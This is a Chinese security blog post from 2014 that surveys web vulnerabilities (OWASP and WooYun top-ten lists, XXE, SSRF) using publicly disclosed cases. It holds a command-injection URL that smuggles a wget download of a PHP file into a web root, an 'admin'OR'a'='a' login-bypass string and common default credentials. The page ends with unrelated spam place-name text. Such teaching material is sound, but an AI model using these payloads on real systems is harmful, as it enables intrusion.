qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請(qǐng)?jiān)L問 http://qaseven.github.io/

          滲透測(cè)試必知必會(huì)—Web漏洞

          0x00前言
            本文為對(duì)WEB漏洞研究系列的開篇,日后會(huì)針對(duì)這些漏洞一一研究,敬請(qǐng)期待
            0x01 目錄
            0x00 前言
            0x01 目錄
            0x02 OWASP TOP10 簡(jiǎn)單介紹
            0x03 烏云TOP 10 簡(jiǎn)單介紹
            0x04 非主流的WEB漏洞
            0x02 OWASP TOP10 簡(jiǎn)單介紹
            除了OWASP的TOP10,Web安全漏洞還有很多很多,在做測(cè)試和加固系統(tǒng)時(shí)也不能老盯著TOP10,實(shí)際上是TOP10中的那少數(shù)幾個(gè)
            直接說2013的:
            A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常見,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于現(xiàn)在自動(dòng)化工具非常多,通常都是找到注入點(diǎn)后直接交給以sqlmap為代表的工具
            命令注入相對(duì)來(lái)說出現(xiàn)得較少,形式可以是:
            https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
            也可以查看案例:極路由云插件安裝shell命令注入漏洞 ,未對(duì)用戶輸入做任何校驗(yàn),因此在web端ssh密碼填寫處輸入一條命令`dropbear`便得到了執(zhí)行
            直接搜索LDAP注入案例,簡(jiǎn)單嘗試下并沒有找到,關(guān)于LDAP注入的相關(guān)知識(shí)可以參考我整理的LDAP注入與防御解析。雖然沒有搜到LDAP注入的案例,但是重要的LDAP信息 泄露還是挺多的,截至目前,烏云上搜關(guān)鍵詞LDAP有81條記錄。
            PHP對(duì)象注入:偶然看到有PHP對(duì)象注入這種漏洞,OWASP上對(duì)其的解釋為:依賴于上下文的應(yīng)用層漏洞,可以讓攻擊者實(shí)施多種惡意攻擊,如代碼注入、SQL注入、路徑遍歷及拒絕服務(wù)。實(shí)現(xiàn)對(duì)象注入的條件為:1) 應(yīng)用程序必須有一個(gè)實(shí)現(xiàn)PHP魔術(shù)方法(如 __wakeup或 __destruct)的類用于執(zhí)行惡意攻擊,或開始一個(gè)"POP chain";2) 攻擊中用到的類在有漏洞的unserialize()被調(diào)用時(shí)必須已被聲明,或者自動(dòng)加載的對(duì)象必須被這些類支持。PHP對(duì)象注入的案例及文章可以參考WordPress < 3.6.1 PHP 對(duì)象注入漏洞。
            在查找資料時(shí),看到了PHP 依賴注入,原本以為是和安全相關(guān)的,結(jié)果發(fā)現(xiàn):依賴注入是對(duì)于要求更易維護(hù),更易測(cè)試,更加模塊化的代碼的解決方案。果然不同的視角,對(duì)同一個(gè)詞的理解相差挺多的。
            A2: 失效的身份認(rèn)證及會(huì)話管理,乍看身份認(rèn)證覺得是和輸入密碼有關(guān)的,實(shí)際上還有會(huì)話id泄露等情況,注意力集中在口令安全上:
            案例1:空口令
            烏云:國(guó)內(nèi)cisco系列交換機(jī)空密碼登入大集合
            烏云:UC某服務(wù)器可空口令訪問數(shù)據(jù)庫(kù)
            案例2:弱口令
            烏云:盛大某站后臺(tái)存在簡(jiǎn)單弱口令可登錄  admin/admin
            烏云:電信某省客服系統(tǒng)弱口令泄漏各種信息 .../123456
            烏云:中國(guó)建筑股份有限公司OA系統(tǒng)tomcat弱口令導(dǎo)致淪陷  tomcat/tomcat
            案例3:萬(wàn)能密碼
            烏云:移動(dòng)號(hào)碼上戶系統(tǒng)存在過濾不嚴(yán)  admin'OR'a'='a/admin'OR'a'='a (實(shí)際上仍屬于SQL注入)
            弱口令案例實(shí)在不一而足
            在烏云一些弱口令如下:其中出鏡次數(shù)最高的是:admin/admin, admin/123456

           如果要繼續(xù)深究下去或者取得更多數(shù)據(jù)進(jìn)行分析的話,結(jié)局就會(huì)如豬豬俠總結(jié)的那樣:
            當(dāng)然會(huì)話存在的安全問題也是需要考慮的,可以是令牌、token被竊取,尤其當(dāng)會(huì)話沒有設(shè)置生命周期時(shí)很容易出現(xiàn)會(huì)話/身份被劫持
            會(huì)話管理問題可以是用戶A登陸了某個(gè)地址,但是沒有注銷(奇葩情況是注銷無(wú)效),直接退出了瀏覽器又沒有清除cookie,如果說這時(shí)候有B借用A的電腦,他直接以A的身份登陸該地址是沒有問題的,這不是服務(wù)端的問題。但假設(shè)之后A都沒有訪問改地址,而是把電腦合上待機(jī)了,第二天如果B借用他的電腦直接登陸了該地址,則責(zé)任在于服務(wù)端的會(huì)話管理不當(dāng),沒有設(shè)置超時(shí)時(shí)間。除此之外,還有會(huì)話重放、會(huì)話信息泄露等問題。說到會(huì)話信息泄露,不禁想起將sessionid放在URL中的情形,鄙人暫未遇到直接利用這個(gè)可以竊取會(huì)話的,但不排除其可能
            A3: 跨站腳本(XSS),最普遍的漏洞,曾被認(rèn)為是雞肋漏洞,事實(shí)證明有時(shí)候危害很大的,竊取cookie,構(gòu)造蠕蟲不一而足。XSS的技術(shù)體現(xiàn)在Javascript功底上,現(xiàn)在很多網(wǎng)站都有針對(duì)XSS的過濾器,J2EE可以使用全局過濾器,但是過濾器基本都是使用黑名單設(shè)防,是有可能繞過的,回應(yīng)了技術(shù)體現(xiàn)在Javascript功底上。跨站腳本還有flash類型的,由于相比之下出現(xiàn)得比較少,瀏覽器和過濾器的防御精力不在這上面,如果出現(xiàn)可能更容易成功。值得一提的是,對(duì)于XSS,現(xiàn)在的掃描工具都會(huì)將其標(biāo)識(shí)為高危漏洞,實(shí)際上掃描器根據(jù)返回的響應(yīng)中是否有加入的載荷來(lái)判斷跨站腳本漏洞存在的可能性,誤報(bào)率會(huì)比較高。還有就是常規(guī)掃描器只能識(shí)別反射型XSS,反射型XSS本身危害是比較小的,存儲(chǔ)型XSS危害才大(危害大小看具體情況)。反射型XSS現(xiàn)在常規(guī)payload要想過IE10、IE11或chrome還是有難度的,因此XSS技術(shù)的另一個(gè)體現(xiàn)方面即是對(duì)瀏覽器特性的了解。至于存儲(chǔ)型XSS,則要看具體業(yè)務(wù)和數(shù)據(jù)是否會(huì)受影響,用戶交互程度越高,利用難度就越大,如果能彈框證實(shí)漏洞存在,但很難被觸發(fā)或者就算竊取到cookie也無(wú)法登陸,很難說明是高風(fēng)險(xiǎn)安全問題,但還是有修復(fù)和改進(jìn)的必要。
            A4: 不安全的直接對(duì)象引用,訪問控制不當(dāng)?shù)膯栴},常見為越權(quán)操作(橫向+縱向),譬如:遍歷用戶id批量獲取用戶信息、在HTTP請(qǐng)求中篡改某個(gè)參數(shù)的值就變成了其他身份進(jìn)行的操作,最激動(dòng)人心的是可以進(jìn)行刷錢等操作。越權(quán)問題并不高深,相比SQL注入和XSS技術(shù)難度還要低一點(diǎn),因?yàn)橥ǔV灰膮?shù)值就可以了(一般來(lái)說)。防止此類問題的做法很簡(jiǎn)單,當(dāng)用戶需要訪問某資源或進(jìn)行操作時(shí),服務(wù)器端取出來(lái)訪用戶的session值,判斷是否具有訪問或操作權(quán)限。
            在訪問控制操作中,我們可以設(shè)定某一資源或文件A可以訪問、B不能訪問,但是當(dāng)對(duì)應(yīng)的用戶多起來(lái)時(shí)也會(huì)遇到麻煩。也可以為用戶訪問資源或文件標(biāo)志一個(gè)權(quán)限,作為一個(gè)會(huì)話屬性,屬于自己的才可以操作或訪問,具體情況具體討論。
            案例1:水平越權(quán)
            烏云:虎撲某功能存在水平越權(quán)
            案例2: 垂直越權(quán)
            烏云:中國(guó)電信某系統(tǒng)管理員WEB界面越權(quán)訪問
            A5-A7\A9: 安全配置錯(cuò)誤\敏感數(shù)據(jù)泄露\功能級(jí)訪問控制缺失\使用含已知漏洞的組件=>運(yùn)維不當(dāng),直接看運(yùn)維不當(dāng)?shù)?/a>
            知乎專欄:運(yùn)維安全(...)
            烏云知識(shí)庫(kù):從烏云看運(yùn)維安全那點(diǎn)事兒
            引用一下知識(shí)庫(kù)的內(nèi)容,問題有:
            struts漏洞
            Web服務(wù)器未及時(shí)打補(bǔ)丁,有解析漏洞
            PHP-CGI RCE
            FCK編輯器
            server-status信息泄露
            網(wǎng)站備份文件放在web目錄,可被下載
            列目錄導(dǎo)致可看到敏感數(shù)據(jù)并查看
            snmp信息泄露
            weblogic弱口令
            SVN信息泄露
            域傳送漏洞
            Rsync
            hadoop對(duì)外
            nagios信息泄露
            ftp弱口令或支持匿名訪問導(dǎo)致信息泄露
            RTX泄露信息
            Ganglia信息泄露
            j2ee應(yīng)用架構(gòu)開始占主流,典型的web服務(wù)器搭配配置失誤
            Jenkins平臺(tái)沒有設(shè)置登錄驗(yàn)證
            zabbix
            zenoss監(jiān)控系統(tǒng)
            Resin文件讀取
            memcache未限制訪問IP
            JBoss問題
            測(cè)試服務(wù)器外網(wǎng)可訪問
            padding oracle attack
            用戶名密碼放在服務(wù)器上……
            A8: 跨站請(qǐng)求偽造(CSRF)
            CSRF曾被稱為沉睡的巨人,以前拿來(lái)舉例時(shí)都是說Alice給Bob轉(zhuǎn)錢,結(jié)果morry插了一腳,錢就跑到morry家去了。危害可大可小,直接通過URL增刪改操作的也還有,更多的還是基于表單。如果是XSS+CSRF =>蠕蟲 就比較可觀了,也曾看到過直接get root的案例
          案例:萬(wàn)達(dá)電影主站 xss + csrf
            A10: 無(wú)效的重定向
            控制重定向可以釣魚,可以獲取敏感文件的信息,在struts2中也有開放重定向的命令執(zhí)行
            0x03 烏云TOP 10 簡(jiǎn)單介紹
            上述就是OWASP TOP10的WEB漏洞,烏云出了一個(gè)更加符合中國(guó)國(guó)情的 烏云:Top10 for 2014,看著也是觸目驚心
            A1-互聯(lián)網(wǎng)泄密事件/撞庫(kù)攻擊
            本質(zhì)上來(lái)說是使用了不安全的口令,也許我可以將自己的密碼設(shè)置的很復(fù)雜,別人破解不出來(lái)。但對(duì)于撞庫(kù)攻擊而言,可以說是不怕神一樣的對(duì)手,就怕豬一樣的隊(duì)友。我們注冊(cè)使用的網(wǎng)站或服務(wù)商他們保存了我們使用的密碼,而很多時(shí)候被泄露出去了我們并不知道。這也是考驗(yàn)我們密碼習(xí)慣的時(shí)候了,強(qiáng)密碼+不同的密碼,當(dāng)然密碼多了也難以記住,不行就借助軟件或者普通賬號(hào)用同一個(gè)密碼,重要賬號(hào)用不同密碼吧
            A2-引用不安全的第三方應(yīng)用
            舉的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也還數(shù)見不鮮,其次就是CMS如wordpress使用的插件,當(dāng)然shellshock也會(huì)有很多中槍的
            A3-系統(tǒng)錯(cuò)誤/邏輯缺陷帶來(lái)的暴力猜解
            暴力破解:沒對(duì)請(qǐng)求和錯(cuò)誤次數(shù)做限制;重放攻擊同樣是沒做檢驗(yàn)或限制
            A4-敏感信息/配置信息泄露
            包括但不限于目錄遍歷、日志、配置文件、svn目錄、github或其他博客等地方
            A5-應(yīng)用錯(cuò)誤配置/默認(rèn)配置
            包括但不限于默認(rèn)路徑、默認(rèn)口令、目錄穿越、任意文件下載等
            A6-SQL注入漏洞
            A7-XSS跨站腳本攻擊/CSRF
            A8-未授權(quán)訪問/權(quán)限繞過
            可匿名訪問\判斷referer值后免登陸
            A9-賬戶體系控制不嚴(yán)/越權(quán)操作
            A10-內(nèi)部重要資料/文檔外泄
            還是信息泄露,但是做了區(qū)分,不同于應(yīng)用或服務(wù)器的信息泄露,專指內(nèi)部信息泄露喲
            0x04 非主流的WEB漏洞
            實(shí)際上,如果要挖漏洞或者做測(cè)試,從烏云上找案例會(huì)比較方便,除了常見的幾類代碼層面的問題,更多的是配置不當(dāng)方面的,最終歸結(jié)到信息安全鏈上最脆弱的還是人本身
            除了上面提到的這些,其實(shí)還有很多的漏洞啊,跟設(shè)備有關(guān)系的就先不說了,再提一下兩個(gè)看起來(lái)不錯(cuò)的:XXE、SSRF(or XSPA)
            XXE:XML外部實(shí)體注入,不僅僅是敏感信息泄露,騰訊安全中心:XXE漏洞攻防
            案例:
            1. 烏云:百度某功能XML實(shí)體注入
            2. 烏云:139郵箱XXE漏洞可讀取文件
            3. 烏云:從開源中國(guó)的某XXE漏洞到主站shell
            SSRF(服務(wù)端請(qǐng)求偽造): 據(jù)說用這招可以成功多次進(jìn)入阿里、騰訊、百度等的內(nèi)網(wǎng),沒爆出來(lái)的估計(jì)很多被用作殺器了
            案例:
            1. 烏云:百度貼吧SSRF
            2. 烏云:新浪SSRF
            3. 烏云:阿里巴巴SSRF
            上面幾個(gè)案例有的是分享功能,有的是其他功能,共同點(diǎn)在于都是跟的url參數(shù),且沒做限制,導(dǎo)致內(nèi)網(wǎng)信息泄露
            (未完...)

          posted on 2014-12-11 23:26 順其自然EVO 閱讀(3967) 評(píng)論(0)  編輯  收藏 所屬分類: 新聞

          <2014年12月>
          30123456
          78910111213
          14151617181920
          21222324252627
          28293031123
          45678910

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評(píng)論

          閱讀排行榜

          評(píng)論排行榜

          主站蜘蛛池模板: 酒泉市| 江城| 上杭县| 漳平市| 大城县| 云安县| 潢川县| 牡丹江市| 丹阳市| 舒城县| 固始县| 屏边| 奎屯市| 天台县| 洛川县| 丹寨县| 米林县| 丁青县| 德昌县| 南江县| 那坡县| 永泰县| 政和县| 海淀区| 股票| 琼海市| 全椒县| 阿勒泰市| 潮州市| 新乐市| 广东省| 嵊州市| 石阡县| 肇州县| 民乐县| 宜丰县| 自治县| 龙胜| 西城区| 金门县| 永修县|